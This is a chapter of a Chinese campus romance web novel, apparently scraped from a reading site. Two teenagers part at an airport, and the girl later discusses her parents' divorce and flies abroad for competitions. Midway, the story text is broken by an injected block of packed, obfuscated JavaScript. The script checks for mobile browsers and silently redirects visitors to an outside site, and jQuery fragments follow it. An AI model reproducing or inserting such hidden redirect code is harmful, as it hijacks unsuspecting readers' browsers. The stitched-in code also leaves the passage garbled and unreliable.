63. 弦音妹妹
作品:《装乖[校园+破镜重圆]》 两人是在周日离开的港岛。
机票是周日下午的,顾临钊先陪她回京市,再从京市飞回北川。
从早上睡醒之后,傅弦音就蔫了吧唧的。
早饭也是草草吃了几口,就和顾临钊打车去机场了。
一路上,傅弦音都扒在窗户上看着窗外的景色。
这不是她第一次来港岛。
却是她最不想离开港岛的一次。
又或许,不想离开的不是港岛。
而是身边那个人。
出租车到了机场,顾临钊扛下来了两个箱子,傅弦音跟在她身后慢吞吞的走。
她脚步很慢,顾临钊也不催她,就陪着她一点点往登机口挪。
他看着傅弦音无精打采的模样,终于忍不住笑出声:“昨天不是还好好的,今天怎么就蔫了?”
傅弦音有气无力道:“昨天电都耗光了,现在开节电模式了。”
回京市的航班,两人终于能选到一起的座位了。
傅弦音坐靠窗,顾临钊坐她左边。
窗外的天阴蒙蒙的,好像要下雨。
从候机的时候,傅弦音就忍不住在心里祈祷:下吧下吧,最好下场大的,航班延误,他俩都得在港岛多待一天。
可惜。
她的愿望又一次没有得到满足,飞机准点起飞。
昨天上午高强度考了一上午的试,下午又在游乐园玩了一天。
飞机起飞没多久,傅弦音就睡着了。
等到醒来的时候,她发现自己正放肆地靠在顾临钊身上。
甚至不是那种歪歪脑袋枕他肩膀上,而是她整个人跟没骨头似的一个劲往他怀里钻。
等察觉到自己是一个什么姿势后,傅弦音整个脑袋嗡的一下,瞬间通红。
她手忙脚乱想要起身,然而这个姿势躺得太舒服她根本用不上力,随便着力的地方好巧不巧,刚好按在顾临钊腿上。
“嘶——”
男生一道清浅的闷哼钻进她耳朵。
傅弦音怕自己按到了什么不该按的地方,一瞬间手足无措,又栽了回去。
她窝在顾临钊怀里,身子绷得紧紧,却一动都不敢动。
耳边传来一声低笑。
顾临钊伸手给她接力,傅弦音狼狈地坐正。
下一秒,顾临钊伸出手指,指尖点了点她的耳朵。
他嗓音里还带着笑:“傅弦音,你耳朵红了。”
傅弦音嘴硬:“那我把你耳朵也捏红。”
她伸出爪子,咧了咧嘴,装腔作势就要去捏顾临钊的耳朵。没想到顾临钊往椅子里靠了靠,一副我躺平了你随便的模样,对着傅弦音扬扬下巴,说道:
“行,来吧。”
傅弦音甚至从他的语气里听出了一些期待的味道。
来什么?
你他妈在瞎期待什么啊啊啊!
傅弦音终于明白什么叫狠的怕疯的,疯的怕不要命的。
可事情已经发展成这样了。
傅弦音是一个死要面子活受罪的人。
她咬了咬唇,恶向胆边生,两只爪子一边一个,捏住了顾临钊的耳朵。
胳膊一共就这么长。
手伸过去了,人自然也凑过去了。
或许是冬天衣服厚,又或许是傅弦音对距离没什么概念。
在捏住顾临钊耳朵的瞬间,她感觉自己和顾临钊的脸中间就隔了不到二十厘米的距离。
甚至更短。
短到她能感受到顾临钊的鼻息,能看到他眼睛里的自己。
傅弦音不自觉地,咽了口口水。
手上的力道也失去了控制,她胡乱地捏了一下就松开了手。
松手之前,她似乎看到顾临钊的喉结也滚了滚。
可是时间太短了,短到傅弦音还来不及确认的时候,她的身子就已经退回来了。
她指着顾临钊的耳朵,满意道:“看,你的耳朵现在也红了。”
顾临钊低低笑了声,没说话。
傻子。
就那点力度,蚊子都拍不死。
他耳朵能是被她捏红的吗?
顾临钊在京市停留的时间只有一个小时。
傅弦音拉着他在机场草草吃了顿饭。
两碗面端上来,上面飘着可怜巴巴地几块肉。
顾临钊指了指,说:“这就是你不在飞机上吃饭的原因?”
傅弦音撇撇嘴:“飞机餐难吃死了,就不是给人吃的。”
其实不是这个原因。
她现在对食物的要求很低,只要不是她非常厌恶的食物,其他能果腹的都可以进嘴。
她就是想找个理由,和顾临钊多待会。
但出乎意料,顾临钊很安静。
他就只是安静的吃饭。
傅弦音吃了一会就受不了了,她放下筷子,脚背碰了碰他的小腿,说:“你说两句话嘛。”
顾临钊说:“食不言。”
傅弦音撇嘴,心道之前一块吃饭的时候也没见你少说话。
她叹了口气,主动开口:“我回去之后,周三还要考试。托福听力阅读当场出分,这俩出了我总成绩估摸估摸也能差不多知道,然后周五SAT就又出成绩了。”
顾临钊问:“然后就回学校继续上学吗?”
傅弦音摇头:“我还有竞赛要比,估计要到一月中旬或者下学期再回学校了。”
顾临钊问:“你自己一个人去比赛吗?”
傅弦音说:“应该是,反正就是去考个试。”
顾临钊看着她,没说话。
傅弦音眸子垂了垂,说:“你不用陪我去,我这么大的人了,去外地比个赛什么的又不是干不了。”
顾临钊说:“那些竞赛是在国内吗?”
傅弦音:……
她说:“在国外。”
顾临钊说:“你还没成年,国内去考试就罢了,国外也自己一个人去?”
傅弦音说:“那你不也没成年吗?”
顾临钊说:“我快了。”
傅弦音猛地抬头。
她忽然反应过来,认识顾临钊这么久,她还不知道顾临钊生日是什么时候。
她甚至都不知道……是她大,还是顾临钊大。
她问:“你什么时候。”
顾临钊说:“12.20。”
“你呢?”
他反问道。
傅弦音说:“大年三十。”
顾临钊忽然笑了。
他说:“那你比我小啊,弦音妹妹。”
弦音妹妹这四个字似乎被他刻意咬重了些。
从他口中说出来,好像带了点不一样的意思。
顾临钊问:“所以你一直以来,过得都是农历生日?”
“不是,”傅弦音叹气,她看着顾临钊,诚实道:“我一直都不过生日。”
顾临钊:……
他张了张嘴,正准备说点什么补救,傅弦音就先他一步说道:
“我是早产,准确而言是我妈为了让我大年三十能生出来,日子还没到就给我剖了。她就是想让每年我爸都能回家过年,但是事实证明屁用没有。”
“还有,”傅弦音喘了口气,没给顾临钊插话的时间,她说:“你也别觉得提到我伤心事了什么的,我已经十七马上十八了,这么多年都是这么过来的,倒是不至于被你提个一两句又难过得要死要活的。”
“真不至于的。”
她及时在空气凝滞之前打碎这一切。
她受不了顾临钊对她感到愧疚或是抱歉。
这会让她本就不富裕的道德感加重。
顾临钊不应该对她感到抱歉。
任何方面,任何时刻,任何情况。
他都不应该。
就算要抱歉,那也是她抱歉。
就算要算。
那也是她欠他。
顾临钊怔愣几秒,而后哑然失笑,他说:“我不是可怜你,我就是……”
“你们道德感比较高的人都是这样的。”傅弦音吃了口面,含糊不清道:“像我这种狼心狗肺的狗崽子就不会这样。”
她扬扬下巴,说:“看到了吗,学着点——”
舌尖和唇齿间碾出几个字,傅弦音声音轻佻:
“临钊哥哥。”
害羞来的后知后觉。
傅弦音不懂,为什么顾临钊叫她弦音妹妹就那么顺口且流畅,轮到她叫临钊哥哥的时候心乱的就不成样子。
这样可不行。
傅弦音脊背僵直,视线落在顾临钊身上,连挪都没挪开一下。
她脑海中就一个念头——
她不能让顾临钊发现她的害羞。
于是她就这样盯着顾临钊。
她看见他喉结滚了滚,看见他拿筷子的手好像松了松,筷子一端没入碗中,顾临钊舔了舔嘴唇。
而后他先移开了目光。
心里松了口气,傅弦音强壮镇定地继续吃面。
只是筷子尖挑起的面条,越看越没有滋味。
傅弦音一直把顾临钊送到了登机口。
她犹豫着要不要和顾临钊提出来拥抱一下,可是这句话在唇边绕了又绕,到底也是没敢说出口。
和她的沉默相反,顾临钊倒是话多了起来。
他像个即将离开的老家长,嘱咐着傅弦音:“一日三餐要按时吃,不要想不起来吃饭。晚上不要熬太晚,睡不着的话可以给我打电话。”
见傅弦音没什么回应,顾临钊道:“听进去了吗?”
傅弦音问:“只有睡不着的时候才能给你打电话吗?”
顾临钊笑:“没有用的时候你还能想得起来我?”
傅弦音撇撇嘴,小声骂了句:“不识好歹。”
顾临钊就笑。
离别的感觉钻进傅弦音心里,她感觉心跳的闷闷的。
她指了指登机口,说:“你快走吧,再晚赶不上飞机了。”
顾临钊说:“好。”
他最后看了看傅弦音,忽然说:“什么时候想给我打电话都可以。”
傅弦音压住嘴角的笑,冲他挥挥手,嘴硬道:“才不想给你打电话呢。”
少年还穿着昨天那身冲锋衣,在人群中哪怕是一个后脑勺都帅的很显眼。
傅弦音看着那抹黑色逐渐消失在转角,而后又愣了会神才走。
*
回到京市许多天了,傅弦音都还在疑心去港岛的那两天是不是她做的一场美梦。
她无数次地打开手机相册去确认自己的记忆并不是一场幻觉。
月考的时间已经定下来了,是12月29号,考完正好就是元旦假期放三天。
周三考的托福当场出了听力阅读的分数,傅弦音阅读考了29,听力26,90是稳了,如果口语写作发挥不错,甚至能到100。
上周考的SAT也在这周出了分,秦祎给她查的成绩,数学800,阅读720。
秦祎都对这个成绩有些震惊。
当了这么多年老师,傅弦音这样的学生是她头一回见。
坦白来说,她刚过来学的时候基础并不算好,秦祎教过许多基础比她好的,但是没有一个学习能力和学习效率能和傅弦音比。
三个星期的时间,能提分成这样。
活招牌了。
当时怕SAT的分不够,秦祎就把12月和1月能报上的竞赛都给傅弦音报上了。
其中,12.18一场数学,12.22一场物理,都是在大洋彼岸的灯塔国考。
两场中间隔了没几天,秦祎给傅弦音的建议是直接留在那里,想转转就自己转转,不想转就在酒店里认真复习。
但傅弦音犹豫了一下,还是决定极限回一次国。
12.20是顾临钊的生日。
是人生中只有一次,并且意义深刻的十八岁生日。
她想给顾临钊过。
不管以后会是怎样,不管以后发生了什么,她至少希望顾临钊的记忆里,有一个重要的片段,能够与她相关。
哪怕只是出现一小下也可以。
只要存在就行。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100829|138148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
飞灯塔国的机票是在周五下午,傅弦音拎着行李箱出酒店的时候,在楼下看到了邵杨。
邵杨站在酒店大堂,笑盈盈地看着傅弦音,说:“我来送傅小姐去机场。”
上一次在酒吧,他当时确实又被傅弦音唬住。
但一杯红茶喝完,邵杨也就明白了个所以然。
傅小姐说那些的目的,吐露真心话是有,但是和他掏心掏肺的分量不多,更多的应该其实只是发泄,以及——
让他对傅小姐动摇一下。
上了这么多年的班,还被一个小孩子唬住。
邵杨觉得自己有些丢脸。
可那是傅小姐。
这么一想,邵杨又觉得自己其实也没有那么丢脸了。
傅弦音在看到他的那一瞬间,就知道他想明白上周是怎么回事了。
她拎着行李箱走过去,说:“那走吧,有什么路上再说。”
邵杨冲她伸出手,傅弦音愣了一下,邵杨的目光看向她身后的行李箱,说:“我来吧,傅小姐。”
傅弦音别扭地说:“不用。”
邵杨是傅东远的秘书,帮她定机票酒店甚至接送她这种事情傅弦音都觉得可以,但是拎行李箱这种事情,傅弦音心中始终感觉有点奇怪。
或许是因为不是奴役别人的资本家,这种别样的伺候,傅弦音有些不习惯。
邵杨说:“没关系的,傅小姐,傅总给我发工资的。”
傅弦音:“……”
她把行李箱丢给邵杨,说:“那你推。”
车子停在门口,邵杨帮她打开了后座的门,正准备等傅弦音上车关门,就看见傅弦音自己先把门给按上了。
还没来得及说话,邵杨就看见傅弦音拉开了前座的门。
她说:“坐前面好说话。”
说完,也没管他什么反应,她一矮身进了车子,嘭地一声把门关上。
邵杨哑然,去后备箱放完行李,绕回驾驶座开车。
他说:“傅小姐,傅总决定和您亲自谈一谈。”
傅弦音说:“我没空。”
邵杨心平气和地说:“傅小姐,不沟通是不行的,傅总现在也知道您态度比较坚决,这次让我过来也是想和您说一说,他是愿意和您沟通协商的。”
傅弦音:“我没有说不沟通,我也没有拒绝沟通,但是我要比赛,现在没空。而且如果要谈的话,我要和傅东远当面谈。”
邵杨忽然说:“傅小姐,您母亲最近应该没有联系你吧。”
他这话语气平常,可傅弦音就是警觉了起来。
她说:“没有。”
邵杨说:“那就好,陈女士现在已经在精神病院了,上一次陈女士去您学校闹出的事情不小,傅总花了很大的功夫才压下去,离婚的事情现在傅总也在着手了。”
傅弦音歪歪脑袋,说:“你这是什么意思呢?我现在十七,没接受过系统的法律教育,是个法盲。你这样说我听不懂,我只知道,傅东远婚内出轨,甚至婚内有私生子的这些证据我都有,他是过错方,而且——”
她顿了顿,说:“据我所知,陈慧梅是正经大学毕业,在和陈慧梅结婚的时候,陈慧梅应该和他一起在公司工作吧,现在公司创立到现在,他能保证一点陈慧梅的功劳都没有吗?”
傅弦音转头,对着邵杨,认真道:“邵秘书,我想让傅东远和陈慧梅离婚的原因不仅仅是我受不了陈慧梅,更重要的是我受不了傅东远。”
和前几次不同,傅弦音这次面对邵杨的时候语气出奇的好。
邵杨说:“这些信息,我会帮傅小姐转告的。”
傅弦音笑了笑,说:“谢谢邵秘书。”
*
跨国的航班,邵杨给傅弦音买的是头等舱。
飞机起飞没多久,机舱的灯就都关了。
傅弦音在电脑上看了会题,困意上来了就睡上一会。
十几个小时的飞行时间也不算难熬。
抵达的时间是下午,算一算,刚好是在国内的凌晨。
小群里,程昭昭嚷嚷着让傅弦音到哪都报备一声,虽然她们在学校大多也没法看手机,但是程昭昭说有一个安心也好。
傅弦音没拆穿她是因为顾临钊还在群里看所以才说的在学校没法看手机。
事实上,除了顾临钊,那仨经常偷偷在课间或者晚自习看手机。
这边正值黄昏,傅弦音拍了张落日,发在了群里作为报备。
她打车回了酒店,还在路上的时候,顾临钊的信息就过来了。
顾临钊:[到了?]
顾临钊:[到酒店也说一声。]
傅弦音:[在车上了。]
傅弦音:[这边黄昏,超好看。]
顾临钊:[那打视频让我也看看。]
小心思被对方知晓,傅弦音忍不住笑。
她带上耳机,点开视频,还专门把摄像头反转对着窗外。
顾临钊很快接通。
他那边漆黑一片,只能依稀地看出一截截模糊的台阶,耳机里传来顾临钊有些粗重的呼吸,过了十几秒,镜头里晃了晃,黯淡的夜色下,出现了顾临钊的脸。
北川现在是五点,天都没亮。
顾临钊的脸隐没在一片黑暗中,手机适应了几秒调整亮度,傅弦音才看清了顾临钊有些模糊的脸。
傅弦音问:“你几点起的?”
顾临钊说:“五点。”
傅弦音说:“你起这么早?”
她记得顾临钊平时一般都是六点多起。
顾临钊说:“你不是这个点到么。”
他这话说得随意自然,但傅弦音就是不可避免地高兴了一下。
她轻咳一声,压着笑转移话题,指了指窗外的天,说:“看,落日,好看不好看?”
“好看。”刚醒的缘故,顾临钊的声音还有点哑。
他盯着屏幕中绚烂的落日,还有镜头中出现的一小节如玉的指尖。
喉结滚了滚,他蓦地道:
“怎么这么小气,只给我看落日。”